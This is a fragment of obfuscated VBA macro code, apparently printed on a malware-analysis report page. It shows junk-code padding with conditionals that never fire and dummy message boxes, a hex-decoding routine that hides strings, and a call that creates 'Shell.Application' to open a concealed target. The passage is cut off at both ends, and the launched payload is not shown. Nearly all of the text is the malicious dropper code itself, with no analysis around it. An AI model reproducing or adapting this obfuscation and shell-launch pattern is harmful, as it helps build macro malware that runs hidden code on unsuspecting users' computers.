        MsgBox (BHUIGiukdf("52626C486A4A58513939"))
End If
If Len(BHUIGiukdf("4445424F7749514935323232")) = Len(BHUIGiukdf("43706A4B69764E6C")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))


End If
If 219763 = 219763 + 1 Then End
If 5577 < 12 Then
If 337536 = 337536 + 1 Then End
If 2216 < 17 Then
        MsgBox (BHUIGiukdf("537550526D726C773236"))
End If
If Len(BHUIGiukdf("4B6E58585843425736313235")) = Len(BHUIGiukdf("77586F786C6D6566")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
        MsgBox (BHUIGiukdf("4E4657754A56414B3433"))

End If
If Len(BHUIGiukdf("786649686E41466E32383838")) = Len(BHUIGiukdf("594D4E76736B7273")) Then
If 916956 = 916956 + 1 Then End
If 8746 < 44 Then
        MsgBox (BHUIGiukdf("426F50516564464D3437"))
End If
If Len(BHUIGiukdf("47636C646378477033363435")) = Len(BHUIGiukdf("51495A74546E5970")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
       MsgBox (BHUIGiukdf("4572726F7220212121"))

End If
If 783396 = 783396 + 1 Then End
If 5874 < 53 Then
        MsgBox (BHUIGiukdf("6D6F634F5761745A3836"))
End If
If Len(BHUIGiukdf("66696E514B6F666839373733")) = Len(BHUIGiukdf("7256435A4C6B466D")) Then
       MsgBox (BHUIGiukdf("4572726F7220212121"))
End If
    Set щРГШРгвва = CreateObject(BHUIGiukdf("5368656C6C2E4170706C69636174696F6E"))



щРГШРгвва.Open тОРШавп
End Sub



Public Function BHUIGiukdf(ByVal VKfUL As String) As String
Dim BdHMbPJymnWvSvj89, HzrnRlvZBXDCsiE63 As Integer
If 134117 = 134117 + 1 Then End
If 7962 < 76 Then
If 922835 = 922835 + 1 Then End
If 1998 < 34 Then
        MsgBox ("wMLdFpyo53")
End If
If Len("rzYvsATd5532") = Len("XPSEAOQe") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("ypozSQHK26")

End If
If Len("tcvtkSXt5928") = Len("hXbAlnGZ") Then
If 318426 = 318426 + 1 Then End
If 6912 < 56 Then
        MsgBox ("jNEvIhCT68")
End If
If Len("XcCpAPgs3969") = Len("iXVYZboO") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 649897 = 649897 + 1 Then End
If 6268 < 96 Then
        MsgBox ("zoYdthEn49")
End If
If Len("VQZGylnh4225") = Len("ZBvZKGil") Then
       MsgBox ("Error !!!")
End If
HzrnRlvZBXDCsiE63 = 1492


For BdHMbPJymnWvSvj89 = 0 To 93
If 224155 = 224155 + 1 Then End
If 5713 < 82 Then
If 996294 = 996294 + 1 Then End
If 1377 < 99 Then
        MsgBox ("aJldJluy12")
End If
If Len("lLRUuNza7434") = Len("EkRriGWc") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("RCrwJfyT63")

End If
If Len("LhXhEVJz3861") = Len("QValMyXK") Then
If 467893 = 467893 + 1 Then End
If 1554 < 49 Then
        MsgBox ("ySZABgYl22")
End If
If Len("wtlwSBlH8612") = Len("BljpcmNW") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 141598 = 141598 + 1 Then End
If 4233 < 15 Then
        MsgBox ("tgGAdgJR27")
End If
If Len("ckNXZCQb8876") = Len("XqpOuczI") Then
       MsgBox ("Error !!!")
End If
HzrnRlvZBXDCsiE63 = HzrnRlvZBXDCsiE63 + BdHMbPJymnWvSvj89


If 843589 = 843589 + 1 Then End
If 6156 < 57 Then
If 466479 = 466479 + 1 Then End
If 4433 < 78 Then
        MsgBox ("KldSvRnl97")
End If
If Len("nnNVXXNx9977") = Len("lotesrts") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("XkenaWyh32")

End If
If Len("WRlETXsE3113") = Len("yelBYQtN") Then
If 278313 = 278313 + 1 Then End
If 5611 < 43 Then
        MsgBox ("qIRkqsxk55")
End If
If Len("HyBetYFV2667") = Len("zRNvywIm") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 752918 = 752918 + 1 Then End
If 7389 < 17 Then
        MsgBox ("psKkcdUZ51")
End If
If Len("uFFMvjRk5346") = Len("PzPIqSsx") Then
       MsgBox ("Error !!!")
End If
DoEvents


Next BdHMbPJymnWvSvj89
For rxtFIQsuDNIlBT = 1 To Len(VKfUL) Step 2
If 471471 = 471471 + 1 Then End
If 4573 < 79 Then
If 755769 = 755769 + 1 Then End
If 4168 < 14 Then
        MsgBox ("DmfDITaZ88")
End If
If Len("SUZHfYuH2235") = Len("CyEdgwNd") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("JcDSWaCS23")

End If
If Len("DaOfXtWZ2549") = Len("kgTzInZY") Then
If 643721 = 643721 + 1 Then End
If 6197 < 95 Then
        MsgBox ("jbtxOrTl48")
End If
If Len("BUKIuwtx4254") = Len("JhCSxEqd") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 481544 = 481544 + 1 Then End
If 2526 < 12 Then
        MsgBox ("nJJbqMcm62")
End If
If Len("bruZHXZU9683") = Len("QZiVJPxt") Then
       MsgBox ("Error !!!")
End If
kSSFs = Chr$(Val(Chr(38) & Chr(72) & Mid$(VKfUL, rxtFIQsuDNIlBT, 2)))


If 375832 = 375832 + 1 Then End
If 6576 < 62 Then
If 574981 = 574981 + 1 Then End
If 9313 < 37 Then
        MsgBox ("NbylLcOx18")
End If
If Len("gJCfTomL7369") = Len("unekWjbO") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("lUsLlvTf74")

End If
If Len("NtTRdLXM4633") = Len("qEYafUHj") Then
If 714375 = 714375 + 1 Then End
If 5754 < 44 Then
        MsgBox ("JBylcIQV28")
End If
If Len("HdwweOJs2712") = Len("gyTiUpim") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 894423 = 894423 + 1 Then End
If 3596 < 59 Then
        MsgBox ("ZupzyCcc65")
End If
If Len("RrLTgWSo9653") = Len("xDVPReJV") Then
       MsgBox ("Error !!!")
End If
qCQyPBFfTQKdax = qCQyPBFfTQKdax & kSSFs


Next rxtFIQsuDNIlBT
If 616294 = 616294 + 1 Then End
If 7832 < 93 Then
If 884973 = 884973 + 1 Then End
If 5561 < 27 Then
        MsgBox ("LSqBMmms92")
End If
If Len("KNbzvwnb3527") = Len("evnvbqlX") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("lpvLTbGv56")

End If
If Len("zksteJgZ4898") = Len("YTiLGdCY") Then
If 355682 = 355682 + 1 Then End
If 3335 < 67 Then
        MsgBox ("VUlfzjMb11")
End If
If Len("YGubbIlE1382") = Len("vvdRHHvl") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 531757 = 531757 + 1 Then End
If 3828 < 25 Then
        MsgBox ("YoFPwOHr76")
End If
If Len("TxrDaPXj1975") = Len("HMtpzbGF") Then
       MsgBox ("Error !!!")
End If
BHUIGiukdf = qCQyPBFfTQKdax


Dim JzeajhlzOqMBZPw66, qTJnkxMeLIrpGhq89 As Integer
If 971393 = 971393 + 1 Then End
If 9847 < 61 Then
If 937635 = 937635 + 1 Then End
If 9956 < 34 Then
        MsgBox ("wVxazOKm77")
End If
If Len("kAlEeDHp7113") = Len("XGhkGocg") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("hyzYZRoF45")

End If
If Len("gljOiTgz7814") = Len("bJkyomov") Then
If 925686 = 925686 + 1 Then End
If 3974 < 26 Then
        MsgBox ("BefOzixq38")
End If
If Len("RnImXAFJ9131") = Len("GBOHCjUf") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 289752 = 289752 + 1 Then End
If 2677 < 51 Then
        MsgBox ("WNJwNdJn94")
End If
If Len("EiRIcRjR9634") = Len("iwAwoNBO") Then
       MsgBox ("Error !!!")
…

Open this report in the interactive analyzer, or submit your own file for analysis.